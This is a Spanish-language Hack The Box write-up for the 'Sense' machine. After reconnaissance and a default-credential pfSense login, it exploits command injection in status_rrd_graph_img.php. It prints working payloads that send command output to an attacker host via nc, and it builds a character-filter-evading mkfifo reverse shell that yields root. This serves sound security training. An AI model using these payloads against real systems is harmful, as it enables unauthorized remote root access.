Post

Hack The Box Sense

Sense

Se procede con la fase de reconocimiento lanzando primeramente un ping a la dirección IP 10.10.10.60.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.60
PING 10.10.10.60 (10.10.10.60) 56(84) bytes of data.
64 bytes from 10.10.10.60: icmp_seq=1 ttl=63 time=137 ms

--- 10.10.10.60 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 137.195/137.195/137.195/0.000 ms

De acuerdo con el TTL de traza ICMP, se puede determinar que se trata de una máquina con sistema operativo Linux. A continuación se procede con la ejecución de nmap para determinar los puertos abiertos de la máquina y exportanto la información al archivo allPorts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.60 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-06 14:53 CST
Initiating SYN Stealth Scan at 14:53
Scanning 10.10.10.60 [65535 ports]
Discovered open port 80/tcp on 10.10.10.60
Discovered open port 443/tcp on 10.10.10.60
Completed SYN Stealth Scan at 14:53, 26.55s elapsed (65535 total ports)
Nmap scan report for 10.10.10.60
Host is up, received user-set (0.14s latency).
Scanned at 2022-02-06 14:53:08 CST for 26s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE REASON
80/tcp  open  http    syn-ack ttl 63
443/tcp open  https   syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.63 seconds
           Raw packets sent: 131087 (5.768MB) | Rcvd: 21 (924B)

Mediante la función extractPorts definida a nivel de zsh , se obtiene la información más relevante de la captura grepeable.

1
2
3
4
5
6
7
8
9
10
11
❯ extractPorts allPorts
───────┬─────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.10.60
   5   │     [*] Open ports: 80,443
   6   │ 
   7   │ [*] Ports copied to clipboard

A continuación se lanza una serie de scripts para determinar el servicio y versión que corren para los puertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ nmap -sCV -p80,443 10.10.10.60 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-06 14:54 CST
Nmap scan report for 10.10.10.60
Host is up (0.14s latency).

PORT    STATE SERVICE    VERSION
80/tcp  open  http       lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Did not follow redirect to https://10.10.10.60/
443/tcp open  ssl/https?
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US
| Not valid before: 2017-10-14T19:21:35
|_Not valid after:  2023-04-06T19:21:35
|_ssl-date: TLS randomness does not represent time

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.43 seconds

Vemos los puertos 80 y 443 abiertos, por lo que antes de ver el contenido vía web, vamos a echarle un ojito con la herramienta whatweb:

1
2
3
❯ whatweb http://10.10.10.60/
http://10.10.10.60/ [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[lighttpd/1.4.35], IP[10.10.10.60], RedirectLocation[https://10.10.10.60/], lighttpd[1.4.35]
ERROR Opening: https://10.10.10.60/ - SSL_connect returned=1 errno=0 state=error: dh key too small

No vemos nada interesante, así que vamos a visualizar el contenido vía web.

""

Vemos que tenemos un pfSense y si probamos credenciales, obtenemos que no podemos enumerar usuarios y tampoco podemos ingresar. A este punto, vamos a tratar de descubrir recursos del sitio web mediante un doble fuzzer y vamos a acotar el directory-list-2.3-medium.txt utilizando palabras claves como user, pass, cred y key y además vamos a crear un archivo de extensiones:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
cat /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | grep -i -E "user|pass|cred|key" > dictionary.txt
❯ cat extensiones.txt
───────┬─────────────────────────────────────
       │ File: extensiones.txt
───────┼─────────────────────────────────────
   1   │ txt
   2   │ php
   3   │ html
❯ wfuzz -c --hc=404 -L -w dictionary.txt -w extensiones.txt https://10.10.10.60/FUZZ.FUZ2Z
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://10.10.10.60/FUZZ.FUZ2Z
Total requests: 2958

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                         
=====================================================================

000001666:   200        6 L      12 W       106 Ch      "system-users - txt"                                            

Total time: 0
Processed Requests: 2958
Filtered Requests: 2957
Requests/sec.: 0

Ya tenemos el recurso system-users.txt, así que vamos a echarle un ojito.

""

De contraseña vemos que ponen company defaults, así que vamos a suponer que la contraseña sería pfSense la cual es por defecto, vamos a tratar de loguearnos en el panel del pfSense:

""

Nos encontramos ante un pfSense de version 2.1.3, así que buscaremos posibles exploits públicos que nos ayuden a ingresar a la máquina.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
❯ searchsploit pfSense 2.
----------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                 |  Path
----------------------------------------------------------------------------------------------- ---------------------------------
pfSense 2.0.1 - Cross-Site Scripting / Cross-Site Request Forgery / Remote Command Execution   | php/webapps/23901.txt
pfSense 2.1 build 20130911-1816 - Directory Traversal                                          | php/webapps/31263.txt
pfSense 2.2 - Multiple Vulnerabilities                                                         | php/webapps/36506.txt
pfSense 2.2.5 - Directory Traversal                                                            | php/webapps/39038.txt
pfSense 2.3.1_1 - Command Execution                                                            | php/webapps/43128.txt
pfSense 2.3.2 - Cross-Site Scripting / Cross-Site Request Forgery                              | php/webapps/41501.txt
Pfsense 2.3.4 / 2.4.4-p3 - Remote Code Injection                                               | php/webapps/47413.py
pfSense 2.4.1 - Cross-Site Request Forgery Error Page Clickjacking (Metasploit)                | php/remote/43341.rb
pfSense 2.4.4-p1 (HAProxy Package 0.59_14) - Persistent Cross-Site Scripting                   | php/webapps/46538.txt
pfSense 2.4.4-p1 - Cross-Site Scripting                                                        | multiple/webapps/46316.txt
pfSense 2.4.4-p3 (ACME Package 0.59_14) - Persistent Cross-Site Scripting                      | php/webapps/46936.txt
pfSense 2.4.4-P3 - 'User Manager' Persistent Cross-Site Scripting                              | freebsd/webapps/48300.txt
pfSense 2.4.4-p3 - Cross-Site Request Forgery                                                  | php/webapps/48714.txt
pfSense < 2.1.4 - 'status_rrd_graph_img.php' Command Injection                                 | php/webapps/43560.py
pfSense Community Edition 2.2.6 - Multiple Vulnerabilities                                     | php/webapps/39709.txt
pfSense Firewall 2.2.5 - Config File Cross-Site Request Forgery                                | php/webapps/39306.html
pfSense Firewall 2.2.6 - Services Cross-Site Request Forgery                                   | php/webapps/39695.txt
pfSense UTM Platform 2.0.1 - Cross-Site Scripting                                              | freebsd/webapps/24439.txt
----------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

Uno que ya nos debería llamar la atención sería para el recurso status_rrd_graph_img.php; pero en vez de ejecutar el exploit y ya, vamos a ver que hace y tratar de replicarlo para acomodarlo como nosotros querramos.

Vemos que se aprovecha del recurso /status_rrd_graph_img.php y agrega los parámetros ?database=queues; y posterior inyectamos los comandos que queramos. Así que vamos a validar.

""

Nos dice que no se puede mostrar la imagen, pero la web tardó 5 segundos en responder; por lo tanto tenemos una vía potencial de ejcutar comandos. También podríamos validar haciendo un whoami y mandando la respueta por nc:

1
https://10.10.10.60/status_rrd_graph_img.php?database=queues;whoami | nc 10.10.14.27 443
1
2
3
4
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.60] 50594
root

Ahora vamos a tratar de entablarnos una reverse shell; sin embargo, vemos que no podemos. Así que vamos a ver si existen caracteres que a la máquina no le gusta.

1
https://10.10.10.60/status_rrd_graph_img.php?database=queues;echo "a" | nc 10.10.14.27 443
1
2
3
4
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.60] 32368
a

Recibimos las letras, vamos con caracteres especiales:

1
https://10.10.10.60/status_rrd_graph_img.php?database=queues;echo "-" | nc 10.10.14.27 443
1
2
❯ nc -nlvp 443
listening on [any] 443 ...

No recibimos nada, entonces al servidor no le gusta el “-“ y los más seguro es que existan otros caracteres que no le gusten. Por lo tanto, vamos a ocupar el comando rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.27 443 >/tmp/f y validar los caracteres especiales, en este caso /, ;, |, > y &. Para trabajar un poco más cómodos, podriamos hacer uso de Burp Suite en la sección del Repeater.

""

1
2
3
4
5
6
7
8
9
10
11
12
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.60] 3489
;
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.60] 5406
|
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.60] 48487
>

Por lo tanto, al servidor no le gusta el /, & y el -. Si checamos las variables de entorno del servidor:

1
https://10.10.10.60/status_rrd_graph_img.php?database=queues;env | nc 10.10.14.27 443
1
2
3
4
5
6
7
8
9
10
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.60] 5600
OLDPWD=/
HOME=/
PHP_FCGI_MAX_REQUESTS=500
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin
LANG=en_US.ISO8859-1
PHP_FCGI_CHILDREN=1
PWD=/var/db/rrd

Tenemos la variable HOME cuyo valor de /, por lo que podemos sustituir / por ${HOME} y en el caso del -, si checamos el manual de ASCII corresponde a 055 en octal; por lo tanto, podriamos declarar una variable guion=$(printf '\055') y reemplezar los - por ${guion}. De forma similar para & corresponde a 046 en octal y la variable seria guion=$(printf '\046').

La expresión nos quedaría de la siguiente forma:

1
2
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.27 443 >/tmp/f" | tr ' ' '+' | sed 's/\//${HOME}/g' | sed 's/-/${guion}/g' | sed 's/&/${amper}/g'
rm+${HOME}tmp${HOME}f;mkfifo+${HOME}tmp${HOME}f;cat+${HOME}tmp${HOME}f|${HOME}bin${HOME}sh+${guion}i+2>${amper}1|nc+10.10.14.27+443+>${HOME}tmp${HOME}f

Asi que al final, nuestra reverse shell quedaría de la siguiente forma:

1
https://10.10.10.60/status_rrd_graph_img.php?database=queues;guion=$(printf+'\055');amper=$(printf+'\046');rm+${HOME}tmp${HOME}f;mkfifo+${HOME}tmp${HOME}f;cat+${HOME}tmp${HOME}f|${HOME}bin${HOME}sh+${guion}i+2>${amper}1|nc+10.10.14.27+443+>${HOME}tmp${HOME}f

Nos pondemos en escucha por el puerto 443

1
2
3
4
5
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.60] 14383
whoami
root

Ya nos encontramos dentro de la máquina como el usuario root y podemos visualizar las flags (usert.txt y root.txt).

Se comparte un autopwn de la máquina Sense-Autopwn.

This post is licensed under CC BY 4.0 by the author.